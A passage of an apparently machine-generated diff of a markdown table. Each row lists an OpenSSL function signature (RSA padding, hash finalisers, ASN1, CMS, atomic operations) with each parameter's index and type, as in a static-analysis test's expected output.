(uint16_t,int) | | tls1_group_id2nid | 0 | uint16_t | +| (uint16_t,int) | | tls1_group_id2nid | 1 | int | +| (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 0 | uint32_t * | +| (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 1 | SSL_CONNECTION * | +| (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 2 | int | +| (uint32_t,uint32_t *,uint32_t *) | | ossl_ml_dsa_key_compress_power2_round | 0 | uint32_t | +| (uint32_t,uint32_t *,uint32_t *) | | ossl_ml_dsa_key_compress_power2_round | 1 | uint32_t * | +| (uint32_t,uint32_t *,uint32_t *) | | ossl_ml_dsa_key_compress_power2_round | 2 | uint32_t * | +| (uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_high_bits | 0 | uint32_t | +| (uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_high_bits | 1 | uint32_t | +| (uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_low_bits | 0 | uint32_t | +| (uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_low_bits | 1 | uint32_t | +| (uint32_t,uint32_t,uint32_t *,int32_t *) | | ossl_ml_dsa_key_compress_decompose | 0 | uint32_t | +| (uint32_t,uint32_t,uint32_t *,int32_t *) | | ossl_ml_dsa_key_compress_decompose | 1 | uint32_t | +| (uint32_t,uint32_t,uint32_t *,int32_t *) | | ossl_ml_dsa_key_compress_decompose | 2 | uint32_t * | +| (uint32_t,uint32_t,uint32_t *,int32_t *) | | ossl_ml_dsa_key_compress_decompose | 3 | int32_t * | +| (uint32_t,uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_use_hint | 0 | uint32_t | +| (uint32_t,uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_use_hint | 1 | uint32_t | +| (uint32_t,uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_use_hint | 2 | uint32_t | +| (uint64_t *,const ASN1_INTEGER *) | | ASN1_INTEGER_get_uint64 | 0 | uint64_t * | +| (uint64_t *,const ASN1_INTEGER *) | | ASN1_INTEGER_get_uint64 | 1 | const ASN1_INTEGER * | +| (uint64_t *,int *,const unsigned char **,long) | | ossl_c2i_uint64_int | 0 | uint64_t * | +| (uint64_t *,int *,const unsigned char **,long) | | ossl_c2i_uint64_int | 1 | int * | +| (uint64_t *,int *,const unsigned char **,long) | | ossl_c2i_uint64_int | 2 | const unsigned char ** | +| (uint64_t *,int *,const unsigned char **,long) | | ossl_c2i_uint64_int | 3 | long | +| (uint64_t *,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_load | 0 | uint64_t * | +| (uint64_t *,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_load | 1 | uint64_t * | +| (uint64_t *,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_load | 2 | CRYPTO_RWLOCK * | +| (uint64_t *,uint64_t,CRYPTO_RWLOCK *) | | CRYPTO_atomic_store | 0 | uint64_t * | +| (uint64_t *,uint64_t,CRYPTO_RWLOCK *) | | CRYPTO_atomic_store | 1 | uint64_t | +| (uint64_t *,uint64_t,CRYPTO_RWLOCK *) | | CRYPTO_atomic_store | 2 | CRYPTO_RWLOCK * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_add64 | 0 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_add64 | 1 | uint64_t | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_add64 | 2 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_add64 | 3 | CRYPTO_RWLOCK * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_and | 0 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_and | 1 | uint64_t | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_and | 2 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_and | 3 | CRYPTO_RWLOCK * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_or | 0 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_or | 1 | uint64_t | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_or | 2 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_or | 3 | CRYPTO_RWLOCK * | +| (uint64_t,uint64_t *) | | ossl_adjust_domain_flags | 0 | uint64_t | +| (uint64_t,uint64_t *) | | ossl_adjust_domain_flags | 1 | uint64_t * | | (unsigned char *) | CStringT | CStringT | 0 | unsigned char * | +| (unsigned char **) | | ASN1_put_eoc | 0 | unsigned char ** | +| (unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int) | | CMS_SharedInfo_encode | 0 | unsigned char ** | +| (unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int) | | CMS_SharedInfo_encode | 1 | X509_ALGOR * | +| (unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int) | | CMS_SharedInfo_encode | 2 | ASN1_OCTET_STRING * | +| (unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int) | | CMS_SharedInfo_encode | 3 | int | +| (unsigned char **,int,int,int,int) | | ASN1_put_object | 0 | unsigned char ** | +| (unsigned char **,int,int,int,int) | | ASN1_put_object | 1 | int | +| (unsigned char **,int,int,int,int) | | ASN1_put_object | 2 | int | +| (unsigned char **,int,int,int,int) | | ASN1_put_object | 3 | int | +| (unsigned char **,int,int,int,int) | | ASN1_put_object | 4 | int | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 0 | unsigned char ** | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 1 | long * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 2 | char ** | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 3 | const char * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 4 | BIO * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 5 | pem_password_cb * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 6 | void * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 0 | unsigned char ** | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 1 | long * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 2 | char ** | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 3 | const char * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 4 | BIO * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 5 | pem_password_cb * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 6 | void * | +| (unsigned char **,long) | | ASN1_check_infinite_end | 0 | unsigned char ** | +| (unsigned char **,long) | | ASN1_check_infinite_end | 1 | long | +| (unsigned char **,size_t *,const EC_POINT *,const EC_KEY *) | | ossl_ecdh_simple_compute_key | 0 | unsigned char ** | +| (unsigned char **,size_t *,const EC_POINT *,const EC_KEY *) | | ossl_ecdh_simple_compute_key | 1 | size_t * | +| (unsigned char **,size_t *,const EC_POINT *,const EC_KEY *) | | ossl_ecdh_simple_compute_key | 2 | const EC_POINT * | +| (unsigned char **,size_t *,const EC_POINT *,const EC_KEY *) | | ossl_ecdh_simple_compute_key | 3 | const EC_KEY * | +| (unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 0 | unsigned char ** | +| (unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 1 | unsigned char * | +| (unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 2 | const unsigned char * | +| (unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 3 | unsigned int | +| (unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 4 | const unsigned char * | +| (unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 5 | unsigned int | +| (unsigned char *,BLAKE2B_CTX *) | | ossl_blake2b_final | 0 | unsigned char * | +| (unsigned char *,BLAKE2B_CTX *) | | ossl_blake2b_final | 1 | BLAKE2B_CTX * | +| (unsigned char *,BLAKE2S_CTX *) | | ossl_blake2s_final | 0 | unsigned char * | +| (unsigned char *,BLAKE2S_CTX *) | | ossl_blake2s_final | 1 | BLAKE2S_CTX * | +| (unsigned char *,MD4_CTX *) | | MD4_Final | 0 | unsigned char * | +| (unsigned char *,MD4_CTX *) | | MD4_Final | 1 | MD4_CTX * | +| (unsigned char *,MD5_CTX *) | | MD5_Final | 0 | unsigned char * | +| (unsigned char *,MD5_CTX *) | | MD5_Final | 1 | MD5_CTX * | +| (unsigned char *,MD5_SHA1_CTX *) | | ossl_md5_sha1_final | 0 | unsigned char * | +| (unsigned char *,MD5_SHA1_CTX *) | | ossl_md5_sha1_final | 1 | MD5_SHA1_CTX * | +| (unsigned char *,MDC2_CTX *) | | MDC2_Final | 0 | unsigned char * | +| (unsigned char *,MDC2_CTX *) | | MDC2_Final | 1 | MDC2_CTX * | +| (unsigned char *,RIPEMD160_CTX *) | | RIPEMD160_Final | 0 | unsigned char * | +| (unsigned char *,RIPEMD160_CTX *) | | RIPEMD160_Final | 1 | RIPEMD160_CTX * | +| (unsigned char *,SHA256_CTX *) | | SHA224_Final | 0 | unsigned char * | +| (unsigned char *,SHA256_CTX *) | | SHA224_Final | 1 | SHA256_CTX * | +| (unsigned char *,SHA256_CTX *) | | SHA256_Final | 0 | unsigned char * | +| (unsigned char *,SHA256_CTX *) | | SHA256_Final | 1 | SHA256_CTX * | +| (unsigned char *,SHA512_CTX *) | | SHA384_Final | 0 | unsigned char * | +| (unsigned char *,SHA512_CTX *) | | SHA384_Final | 1 | SHA512_CTX * | +| (unsigned char *,SHA512_CTX *) | | SHA512_Final | 0 | unsigned char * | +| (unsigned char *,SHA512_CTX *) | | SHA512_Final | 1 | SHA512_CTX * | +| (unsigned char *,SHA_CTX *) | | SHA1_Final | 0 | unsigned char * | +| (unsigned char *,SHA_CTX *) | | SHA1_Final | 1 | SHA_CTX * | +| (unsigned char *,SM3_CTX *) | | ossl_sm3_final | 0 | unsigned char * | +| (unsigned char *,SM3_CTX *) | | ossl_sm3_final | 1 | SM3_CTX * | +| (unsigned char *,WHIRLPOOL_CTX *) | | WHIRLPOOL_Final | 0 | unsigned char * | +| (unsigned char *,WHIRLPOOL_CTX *) | | WHIRLPOOL_Final | 1 | WHIRLPOOL_CTX * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key | 0 | unsigned char * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key | 1 | const BIGNUM * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key | 2 | DH * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key_padded | 0 | unsigned char * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key_padded | 1 | const BIGNUM * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key_padded | 2 | DH * | +| (unsigned char *,const BIGNUM *,DH *) | | ossl_dh_compute_key | 0 | unsigned char * | +| (unsigned char *,const BIGNUM *,DH *) | | ossl_dh_compute_key | 1 | const BIGNUM * | +| (unsigned char *,const BIGNUM *,DH *) | | ossl_dh_compute_key | 2 | DH * | +| (unsigned char *,const char *) | | ossl_a2i_ipadd | 0 | unsigned char * | +| (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | const char * | +| (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 0 | unsigned char * | +| (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 1 | const unsigned char * | +| (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | int | +| (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 0 | unsigned char * | +| (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 1 | const unsigned char * | +| (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | int | +| (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 0 | unsigned char * | +| (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 1 | const unsigned char * | +| (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 2 | size_t | +| (unsigned char *,int) | | RAND_bytes | 0 | unsigned char * | +| (unsigned char *,int) | | RAND_bytes | 1 | int | +| (unsigned char *,int) | | RAND_priv_bytes | 0 | unsigned char * | +| (unsigned char *,int) | | RAND_priv_bytes | 1 | int | +| (unsigned char *,int) | | ossl_ipaddr_to_asc | 0 | unsigned char * | +| (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | int | +| (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 0 | unsigned char * | +| (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 1 | int | +| (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 2 | const char * | +| (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 3 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_1 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_1 | 1 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_1 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_1 | 3 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_2 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_2 | 1 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_2 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_2 | 3 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_X931 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_X931 | 1 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_X931 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_X931 | 3 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_none | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_none | 1 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_none | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_none | 3 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 1 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 3 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 4 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 5 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 1 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 3 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 4 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 5 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 6 | const EVP_MD * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 7 | const EVP_MD * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_1 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_1 | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_1 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_1 | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_1 | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_2 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_2 | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_2 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_2 | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_2 | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_X931 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_X931 | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_X931 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_X931 | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_X931 | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_none | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_none | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_none | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_none | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_none | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 5 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 6 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 5 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 6 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 7 | const EVP_MD * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 8 | const EVP_MD * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *) | | CMS_ReceiptRequest_create0 | 0 | unsigned char * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *) | | CMS_ReceiptRequest_create0 | 1 | int | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *) | | CMS_ReceiptRequest_create0 | 2 | int | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *) | | CMS_ReceiptRequest_create0 | 3 | stack_st_GENERAL_NAMES * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *) | | CMS_ReceiptRequest_create0 | 4 | stack_st_GENERAL_NAMES * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 0 | unsigned char * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 1 | int | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 2 | int | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 3 | stack_st_GENERAL_NAMES * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 4 | stack_st_GENERAL_NAMES * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 5 | OSSL_LIB_CTX * | +| (unsigned char *,int,unsigned long) | | UTF8_putc | 0 | unsigned char * | +| (unsigned char *,int,unsigned long) | | UTF8_putc | 1 | int | +| (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | unsigned long | +| (unsigned char *,long,const unsigned char *,long,const EVP_MD *) | | PKCS1_MGF1 | 0 | unsigned char * | +| (unsigned char *,long,const unsigned char *,long,const EVP_MD *) | | PKCS1_MGF1 | 1 | long | +| (unsigned char *,long,const unsigned char *,long,const EVP_MD *) | | PKCS1_MGF1 | 2 | const unsigned char * | +| (unsigned char *,long,const unsigned char *,long,const EVP_MD *) | | PKCS1_MGF1 | 3 | long | +| (unsigned char *,long,const unsigned char *,long,const EVP_MD *) | | PKCS1_MGF1 | 4 | const EVP_MD * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 0 | unsigned char * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 1 | long | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 2 | int | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 3 | OSSL_CALLBACK * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 4 | void * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 5 | OSSL_PASSPHRASE_CALLBACK * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 6 | void * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 7 | OSSL_LIB_CTX * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 8 | const char * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 0 | unsigned char * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 1 | long | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 2 | int | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 3 | OSSL_CALLBACK * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 4 | void * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 5 | OSSL_PASSPHRASE_CALLBACK * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 6 | void * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 7 | OSSL_LIB_CTX * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 8 | const char * | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 0 | unsigned char * | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 1 | size_t * | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 2 | size_t | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 0 | unsigned char * | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 1 | size_t * | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 2 | size_t | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_fillblock | 0 | unsigned char * | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_fillblock | 1 | size_t * | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_fillblock | 2 | size_t | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_fillblock | 3 | const unsigned char ** | 